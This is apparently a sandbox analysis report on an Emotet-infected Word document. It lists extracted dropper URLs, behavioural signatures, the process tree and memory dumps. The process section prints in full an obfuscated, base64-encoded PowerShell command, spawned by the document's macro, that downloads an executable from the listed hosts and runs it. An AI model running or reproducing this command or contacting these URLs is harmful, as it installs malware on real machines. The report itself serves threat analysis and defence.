Overview

overview

10

Static

static

8

emotet_e1_...px.doc

windows7_x64

10

emotet_e1_...px.doc

windows10_x64

10

Analysis

  • max time kernel
    57s
  • max time network
    58s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    28/10/2020, 14:55

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_3a42d565cc18af8b48926bccb2b06179f7e6210c0e2cfe4e313c2bb86f81e682_2020-10-28__145217253261._fpx.doc
  • Size 265KB
  • Sample201028-escsettlmn
  • SHA256 3a42d565cc18af8b48926bccb2b06179f7e6210c0e2cfe4e313c2bb86f81e682
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://www.leapmom.com/ukeol/c/
  • exe.dropper

    https://csgcargo.com/wp-content/d/
  • exe.dropper

    https://www.greenleafnaturalfarms.com/cgi-bin/h/
  • exe.dropper

    https://rucloset.com/gon/4/
  • exe.dropper

    https://pachiba.com/blogs/7/
  • exe.dropper

    https://betsdotbahisgiris.com/cgi-bin/I/
  • exe.dropper

    https://rawmeditations.com/wp-content/r/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
    adwarespyware
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_3a42d565cc18af8b48926bccb2b06179f7e6210c0e2cfe4e313c2bb86f81e682_2020-10-28__145217253261._fpx.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1592
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBlAHQALQBJAFQARQBNACAAKAAiAHYAIgArACIAYQAiACsAIgByAEkAQQBCAGwAZQA6AFEAcABlADUAIgArACIAVAAiACsAIgAzACIAKQAgACgAIAAgAFsAdABZAFAAZQBdACgAIgB7ADAAfQB7ADIAfQB7ADMAfQB7ADEAfQB7ADQAfQAiACAALQBmACcAcwB5ACcALAAnAFIAJwAsACcAUwBUAEUAbQAuAEkAbwAuAEQAJwAsACcAaQAnACwAJwBlAEMAdABPAHIAeQAnACkAIAAgACkAOwAgACAAcwBFAFQAIAAoACIAZgAwAEUAIgArACIAZwBOAHMAIgApACAAKAAgACAAWwB0AHkAUABlAF0AKAAiAHsAMgB9AHsANgB9AHsAMwB9AHsANQB9AHsAOAB9AHsANAB9AHsANwB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAJwB0AG0AQQBuAEEARwBlAHIAJwAsACcAbgAnACwAJwBzACcALAAnAFQAJwAsACcAYwBlAFAATwAnACwAJwBFAG0ALgBOAGUAVAAuAHMARQBSAHYAJwAsACcAWQBTACcALAAnAEkAJwAsACcAaQAnACkAKQAgACAAOwAgACQASAA2AHQAagBkAG0AXwA9ACgAKAAnAEcAJwArACcAdgBfACcAKQArACcAMQAxACcAKwAnADgANQAnACkAOwAkAEcAbwBfAGIAbwA3AHkAPQAkAFEAXwBrADAANwBoAG4AIAArACAAWwBjAGgAYQByAF0AKAA2ADQAKQAgACsAIAAkAEYAeABuADgAZgBpADAAOwAkAEsAMQAyAHUAbgBwADYAPQAoACcASAAzACcAKwAoACcAawAyAHUAJwArACcAMAAyACcAKQApADsAIAAgACgAIABHAEUAVAAtAHYAYQByAEkAQQBCAEwAZQAgACgAIgBRAHAARQAiACsAIgA1AFQAMwAiACkAKQAuAHYAYQBsAHUARQA6ADoAIgBDAGAAUgBFAEEAdABFAEQAaQBgAFIAZQBjAGAAVABPAGAAUgB5ACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAeAAnACsAKAAnAG8AJwArACcANQBOACcAKQArACgAJwBrACcAKwAnADkAdABsAHUAegB4ACcAKQArACgAJwBvADUAJwArACcATQAnACkAKwAoACcAOABsAHkAcgBhACcAKwAnAF8AJwArACcAeABvADUAJwApACkALgAiAHIARQBgAFAAbABhAEMARQAiACgAKAAnAHgAbwAnACsAJwA1ACcAKQAsAFsAUwB0AHIASQBuAEcAXQBbAGMAaABBAHIAXQA5ADIAKQApACkAOwAkAEMAMgBhAHIAMQBhAG8APQAoACcATgAnACsAKAAnAHgAJwArACcAYgBxADAAZABhACcAKQApADsAIAAgACgARwBFAHQALQBJAHQAZQBNACAAKAAnAHYAJwArACcAQQAnACsAJwByAGkAQQBCAEwAZQA6AEYAMAAnACsAJwBFAGcAJwArACcAbgBTACcAKQApAC4AdgBBAEwAdQBFADoAOgAiAHMAYABlAEMAdQByAEkAYABUAGAAeQBwAHIAYABPAFQAbwBjAE8AbAAiACAAPQAgACgAKAAnAFQAbAAnACsAJwBzADEAJwApACsAJwAyACcAKQA7ACQAUAAzAGwAYQBmAGsAaAA9ACgAKAAnAEQAZQB5AGQAJwArACcAOQAnACkAKwAnAHcAJwArACcAbAAnACkAOwAkAEwAbAA5ADUAagA1ADIAIAA9ACAAKAAoACcAWAA0ACcAKwAnADUAJwApACsAJwBvAGgAJwArACcAcwAnACkAOwAkAEoAbAB4AGIAMQBuAG8APQAoACgAJwBGACcAKwAnADMAawBmACcAKQArACcANAAnACsAJwB5ADIAJwApADsAJABWAHUANABtAHcAbgBrAD0AKAAoACcAWABsADUAJwArACcAdgBnACcAKQArACcAagB4ACcAKQA7ACQAUABlAGEAaQBkADEAOQA9ACQASABPAE0ARQArACgAKAAnAHsAJwArACcAMAB9AE4AawA5AHQAbAAnACsAJwB1AHoAewAwAH0ATQA4AGwAJwArACcAeQByAGEAXwB7ADAAfQAnACkAIAAtAEYAWwBDAEgAQQBSAF0AOQAyACkAKwAkAEwAbAA5ADUAagA1ADIAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABDAGoAOQB6AHMAaQByAD0AKAAnAFQAJwArACgAJwA4AHEAbQAnACsAJwB5AHIAdAAnACkAKQA7ACQARAAxAGQAdQB4AG0AMwA9AC4AKAAnAG4AZQAnACsAJwB3AC0AJwArACcAbwBiAGoAJwArACcAZQBjAHQAJwApACAAbgBlAFQALgB3AGUAQgBDAGwAaQBFAG4AVAA7ACQARQBwAGUAMgBfAG8ANQA9ACgAKAAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKQArACgAJwBdACcAKwAnAFsAIAAnACkAKwAoACgAJwAxACcAKwAnACkAIAAnACkAKQArACgAJwBqAGoAawAnACsAJwBnACcAKQArACgAJwBTACAAWwBdACAAJwArACcAWwBdAHcAJwArACcAXQAnACkAKwAoACgAJwBbACAAJwArACcAMQAnACsAJwApACAAagBqAGsAJwArACcAZwBTACAAJwApACkAKwAnAFsAXQAnACsAKAAnACAAWwBdACcAKwAnAHcAdwB3ACcAKQArACgAJwB3ACcAKwAnAC4AbAAnACkAKwAoACcAZQBhACcAKwAnAHAAbQBvAG0AJwArACcALgAnACkAKwAoACcAYwBvACcAKwAnAG0AXQBbACAAJwArACcAMQAnACkAKwAnACkAJwArACcAIAAnACsAJwBqAGoAJwArACcAawAnACsAKAAnAGcAJwArACcAUwAgACcAKQArACcAWwAnACsAKAAnAF0AIABbACcAKwAnAF0AdwAnACkAKwAoACcAdQBrACcAKwAnAGUAbwBsACcAKQArACgAKAAnAF0AWwAgADEAJwArACcAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagBrAGcAJwApACsAKAAnAFMAIAAnACsAJwBbACcAKQArACgAJwBdACAAJwArACcAWwBdACcAKQArACcAdwBjACcAKwAoACgAJwBdACcAKwAnAFsAIAAxACkAJwApACkAKwAoACcAIAAnACsAJwBqAGoAJwApACsAJwBrAGcAJwArACgAJwBTACcAKwAnACAAWwAnACkAKwAnAF0AJwArACgAJwAgACcAKwAnAFsAXQB3AEAAJwApACsAKAAnAGgAdAB0ACcAKwAnAHAAcwA6ACcAKQArACgAKAAnAF0AWwAgACcAKwAnADEAKQAgACcAKwAnAGoAJwArACcAagBrAGcAJwApACkAKwAoACcAUwAgAFsAJwArACcAXQAgAFsAXQB3ACcAKQArACgAJwBdAFsAJwArACcAIAAnACkAKwAoACgAJwAxACkAJwApACkAKwAoACcAIAAnACsAJwBqAGoAawAnACkAKwAnAGcAJwArACgAJwBTACAAJwArACcAWwBdACcAKQArACcAIABbACcAKwAoACcAXQB3AGMAJwArACcAcwAnACkAKwAoACcAZwAnACsAJwBjAGEAJwApACsAKAAnAHIAZwBvAC4AYwBvAG0AJwArACcAXQBbACcAKQArACcAIAAnACsAKAAoACcAMQApACAAJwArACcAagBqAGsAZwAnACkAKQArACgAJwBTACcAKwAnACAAWwBdACcAKQArACgAJwAgACcAKwAnAFsAXQAnACsAJwB3AHcAcAAtAGMAbwBuACcAKwAnAHQAZQBuAHQAJwApACsAKAAoACcAXQBbACAAMQApACAAJwArACcAagBqACcAKwAnAGsAZwBTACAAJwApACkAKwAnAFsAJwArACgAJwBdACAAWwAnACsAJwBdACcAKQArACgAKAAnAHcAZAAnACsAJwBdAFsAJwArACcAIAAxACkAJwApACkAKwAnACAAJwArACcAagBqACcAKwAoACcAawAnACsAJwBnAFMAIAAnACsAJwBbAF0AIABbACcAKQArACcAXQB3ACcAKwAoACcAQABoAHQAJwArACcAdAAnACkAKwAoACcAcABzADoAJwArACcAXQAnACkAKwAoACgAJwBbACcAKwAnACAAMQApACAAJwApACkAKwAoACcAagAnACsAJwBqAGsAJwArACcAZwBTACAAJwApACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwAnACsAKAAnAF0AdwAnACsAJwBdAFsAIAAnACkAKwAoACgAJwAxACkAJwApACkAKwAoACcAIABqACcAKwAnAGoAJwApACsAKAAnAGsAZwAnACsAJwBTACAAWwAnACkAKwAoACcAXQAnACsAJwAgAFsAXQB3ACcAKwAnAHcAdwB3ACcAKQArACgAJwAuAGcAJwArACcAcgBlAGUAJwApACsAJwBuACcAKwAoACcAbAAnACsAJwBlAGEAJwApACsAJwBmACcAKwAoACcAbgBhACcAKwAnAHQAJwApACsAJwB1ACcAKwAnAHIAJwArACgAJwBhACcAKwAnAGwAZgBhAHIAbQBzAC4AYwAnACsAJwBvACcAKQArACgAKAAnAG0AXQBbACAAMQAnACsAJwApACAAJwArACcAagAnACkAKQArACcAagBrACcAKwAnAGcAJwArACgAJwBTACcAKwAnACAAWwBdACcAKwAnACAAWwAnACsAJwBdAHcAYwAnACkAKwAoACcAZwBpACcAKwAnAC0AYgAnACkAKwAoACgAJwBpACcAKwAnAG4AXQBbACAAMQApACAAagAnACsAJwBqAGsAJwArACcAZwBTACAAWwAnACkAKQArACgAJwBdACAAWwBdACcAKwAnAHcAJwApACsAKAAoACcAaABdAFsAJwArACcAIAAxACcAKwAnACkAJwApACkAKwAoACcAIABqACcAKwAnAGoAawAnACkAKwAoACcAZwAnACsAJwBTACAAWwBdACcAKQArACcAIAAnACsAJwBbAF0AJwArACcAdwAnACsAKAAnAEAAaAAnACsAJwB0ACcAKQArACcAdABwACcAKwAnAHMAJwArACcAOgAnACsAJwBdACcAKwAnAFsAJwArACgAKAAnACAAJwArACcAMQApACAAJwApACkAKwAoACcAagAnACsAJwBqAGsAZwBTACcAKQArACgAJwAgAFsAJwArACcAXQAnACsAJwAgAFsAXQB3AF0AJwApACsAJwBbACcAKwAoACgAJwAgACcAKwAnADEAKQAgACcAKwAnAGoAagBrAGcAUwAnACkAKQArACcAIAAnACsAKAAnAFsAJwArACcAXQAgACcAKQArACgAJwBbAF0AJwArACcAdwByACcAKQArACcAdQAnACsAJwBjACcAKwAnAGwAJwArACgAJwBvACcAKwAnAHMAZQB0ACcAKwAnAC4AYwBvACcAKwAnAG0AXQBbACcAKQArACcAIAAnACsAKAAoACcAMQApACcAKwAnACAAagBqACcAKwAnAGsAJwArACcAZwBTACAAWwBdACcAKQApACsAJwAgACcAKwAnAFsAJwArACcAXQAnACsAJwB3ACcAKwAnAGcAbwAnACsAKAAnAG4AXQBbACcAKwAnACAAMQAnACkAKwAnACkAJwArACgAJwAgAGoAJwArACcAagBrAGcAJwApACsAKAAnAFMAJwArACcAIABbACcAKQArACgAJwBdACcAKwAnACAAWwBdACcAKQArACcAdwA0ACcAKwAoACcAXQBbACAAJwArACcAMQAnACkAKwAoACgAJwApACAAJwApACkAKwAnAGoAJwArACcAagAnACsAKAAnAGsAZwAnACsAJwBTACAAWwBdACAAWwBdACcAKwAnAHcAJwArACcAQAAnACkAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAnAHMAOgAnACsAKAAnAF0AJwArACcAWwAgACcAKQArACgAKAAnADEAKQAnACsAJwAgACcAKQApACsAJwBqACcAKwAoACcAagAnACsAJwBrAGcAUwAnACkAKwAoACcAIAAnACsAJwBbAF0AIAAnACkAKwAnAFsAJwArACgAJwBdACcAKwAnAHcAXQAnACkAKwAoACgAJwBbACAAJwArACcAMQApACcAKQApACsAJwAgAGoAJwArACcAagAnACsAJwBrACcAKwAnAGcAJwArACgAJwBTACcAKwAnACAAWwAnACkAKwAoACcAXQAgACcAKwAnAFsAXQB3ACcAKQArACcAcAAnACsAKAAnAGEAYwBoAGkAYgBhAC4AJwArACcAYwAnACsAJwBvACcAKQArACgAJwBtACcAKwAnAF0AWwAgACcAKQArACcAMQAnACsAKAAoACcAKQAgACcAKQApACsAJwBqACcAKwAoACcAagBrAGcAUwAnACsAJwAgAFsAJwApACsAKAAnAF0AJwArACcAIABbACcAKQArACgAJwBdACcAKwAnAHcAYgBsAG8AZwAnACkAKwAnAHMAXQAnACsAKAAoACcAWwAgADEAKQAnACsAJwAgACcAKQApACsAKAAnAGoAagBrACcAKwAnAGcAUwAgAFsAXQAnACsAJwAgACcAKQArACgAJwBbAF0AdwA3ACcAKwAnAF0AJwApACsAJwBbACAAJwArACgAKAAnADEAKQAgACcAKwAnAGoAJwApACkAKwAnAGoAawAnACsAJwBnAFMAJwArACcAIAAnACsAKAAnAFsAXQAnACsAJwAgACcAKQArACcAWwBdACcAKwAoACcAdwAnACsAJwBAAGgAJwApACsAKAAnAHQAJwArACcAdABwACcAKQArACcAcwA6ACcAKwAoACcAXQAnACsAJwBbACAAJwApACsAKAAoACcAMQApACcAKwAnACAAagAnACkAKQArACgAJwBqAGsAZwBTACAAJwArACcAWwBdACcAKwAnACAAWwAnACkAKwAoACcAXQB3ACcAKwAnAF0AJwApACsAJwBbACcAKwAnACAAMQAnACsAKAAoACcAKQAgACcAKwAnAGoAJwApACkAKwAnAGoAJwArACgAJwBrAGcAUwAgAFsAXQAgACcAKwAnAFsAXQB3ACcAKwAnAGIAJwApACsAJwBlAHQAJwArACcAcwBkACcAKwAoACcAbwB0ACcAKwAnAGIAYQBoACcAKQArACgAJwBpAHMAJwArACcAZwAnACkAKwAnAGkAJwArACgAJwByAGkAJwArACcAcwAnACkAKwAnAC4AJwArACcAYwBvACcAKwAnAG0AXQAnACsAKAAoACcAWwAgACcAKwAnADEAKQAnACkAKQArACgAJwAgACcAKwAnAGoAagAnACkAKwAoACcAawAnACsAJwBnAFMAIAAnACkAKwAoACcAWwBdACcAKwAnACAAJwApACsAJwBbACcAKwAnAF0AdwAnACsAKAAnAGMAJwArACcAZwBpAC0AYgAnACkAKwAnAGkAbgAnACsAKAAoACcAXQAnACsAJwBbACAAMQApACcAKQApACsAKAAnACAAJwArACcAagBqACcAKQArACcAawAnACsAKAAnAGcAUwAgAFsAJwArACcAXQAnACkAKwAoACgAJwAgAFsAXQB3ACcAKwAnAEkAJwArACcAXQBbACAAJwArACcAMQApACAAJwApACkAKwAoACcAagBqACcAKwAnAGsAZwBTACcAKQArACcAIAAnACsAJwBbAF0AJwArACgAJwAgAFsAXQAnACsAJwB3ACcAKQArACgAJwBAAGgAJwArACcAdAAnACkAKwAoACcAdABwAHMAOgAnACsAJwBdAFsAJwArACcAIAAnACkAKwAoACgAJwAxACcAKwAnACkAJwArACcAIABqAGoAawBnAFMAIAAnACkAKQArACcAWwAnACsAKAAnAF0AIABbAF0AJwArACcAdwBdACcAKQArACcAWwAgACcAKwAoACgAJwAxACkAIABqAGoAJwArACcAawBnAFMAIAAnACsAJwBbAF0AJwApACkAKwAoACcAIABbACcAKwAnAF0AdwAnACkAKwAnAHIAYQAnACsAKAAnAHcAbQBlAGQAaQB0AGEAJwArACcAdAAnACsAJwBpACcAKwAnAG8AJwApACsAJwBuACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKQArACcAXQBbACcAKwAoACgAJwAgADEAKQAnACsAJwAgAGoAagAnACkAKQArACcAawBnACcAKwAnAFMAJwArACcAIAAnACsAJwBbACcAKwAoACcAXQAgAFsAJwArACcAXQB3AHcAJwApACsAKAAnAHAAJwArACcALQBjAG8AJwApACsAKAAoACcAbgB0AGUAbgB0AF0AWwAgACcAKwAnADEAJwArACcAKQAnACkAKQArACcAIAAnACsAJwBqACcAKwAnAGoAawAnACsAJwBnACcAKwAnAFMAIAAnACsAJwBbAF0AJwArACcAIAAnACsAJwBbACcAKwAnAF0AJwArACgAKAAnAHcAJwArACcAcgBdAFsAIAAxACkAIABqAGoAJwArACcAawBnAFMAJwArACcAIAAnACsAJwBbACcAKQApACsAJwBdACAAJwArACcAWwBdACcAKwAnAHcAJwApACkALgAiAFIARQBwAGAATABhAGMAZQAiACgAKAAoACgAKAAnAF0AJwArACcAWwAgACcAKwAnADEAKQAgAGoAagBrAGcAUwAnACsAJwAgAFsAJwApACkAKwAnAF0AIAAnACsAJwBbAF0AJwArACcAdwAnACkAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcALwAnACkALAAoACcAeAAnACsAJwB3AGUAJwApACkAWwAwAF0AKQAuACIAUwBwAGAATABpAHQAIgAoACQARQBvAGEANQBwAGYAOQAgACsAIAAkAEcAbwBfAGIAbwA3AHkAIAArACAAJABBAHMAZQBwAHQANQBiACkAOwAkAEQAcwBhAHUAMgBiADgAPQAoACgAJwBDACcAKwAnADgAdgB6ADgAJwApACsAJwA5AHMAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABDAGIAdAAwAGYAZwBoACAAaQBuACAAJABFAHAAZQAyAF8AbwA1ACkAewB0AHIAeQB7ACQARAAxAGQAdQB4AG0AMwAuACIAZABPAGAAVwBuAGwAbwBBAEQARgBgAGkAbABlACIAKAAkAEMAYgB0ADAAZgBnAGgALAAgACQAUABlAGEAaQBkADEAOQApADsAJABVAGoAcAAzAGkANABuAD0AKAAnAEkAJwArACcAOAB5ACcAKwAoACcAYQBlACcAKwAnAGMAbQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGUAYQBpAGQAMQA5ACkALgAiAGwARQBuAGAARwB0AEgAIgAgAC0AZwBlACAANAA4ADQAMwAyACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACgAJwB3AGkAbgAzADIAJwArACcAXwBQACcAKQArACcAcgAnACsAKAAnAG8AYwBlAHMAJwArACcAcwAnACkAKQApAC4AIgBjAGAAUgBFAGAAQQBUAGUAIgAoACQAUABlAGEAaQBkADEAOQApADsAJABNAGgAZgBxADAANgBlAD0AKAAnAEwAMgAnACsAJwBzACcAKwAoACcAdQAnACsAJwBpAGUAZAAnACkAKQA7AGIAcgBlAGEAawA7ACQAUwB3AGsAcABrADIAbQA9ACgAKAAnAEIAJwArACcAaQA1ACcAKQArACgAJwBvADcAcgAnACsAJwBiACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABSADYAbwAxAG4AXwA1AD0AKAAnAEgAawAnACsAJwAzAGMAJwArACgAJwA3AG8AJwArACcAZAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:2040
  • C:\Users\Admin\Nk9tluz\M8lyra_\X45ohs.exe
    C:\Users\Admin\Nk9tluz\M8lyra_\X45ohs.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1292

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/1592-0-0x00000000004E9000-0x00000000004EB000-memory.dmp
        Download

        memory/1592-1-0x00000000064C0000-0x00000000064C4000-memory.dmp
        Download

        memory/1592-2-0x00000000004EB000-0x00000000004EF000-memory.dmp
        Download

        memory/1592-3-0x00000000004EB000-0x00000000004EF000-memory.dmp
        Download

        memory/2040-4-0x000007FEF6010000-0x000007FEF69FC000-memory.dmp
        Download

        memory/2040-5-0x00000000025C0000-0x00000000025C1000-memory.dmp
        Download

        memory/2040-6-0x000000001AC60000-0x000000001AC61000-memory.dmp
        Download

        memory/2040-7-0x0000000002470000-0x0000000002471000-memory.dmp
        Download

        memory/2040-8-0x0000000002520000-0x0000000002521000-memory.dmp
        Download

        memory/2040-9-0x000000001B7E0000-0x000000001B7E1000-memory.dmp
        Download

        memory/2040-10-0x000000001C4B0000-0x000000001C4B1000-memory.dmp
        Download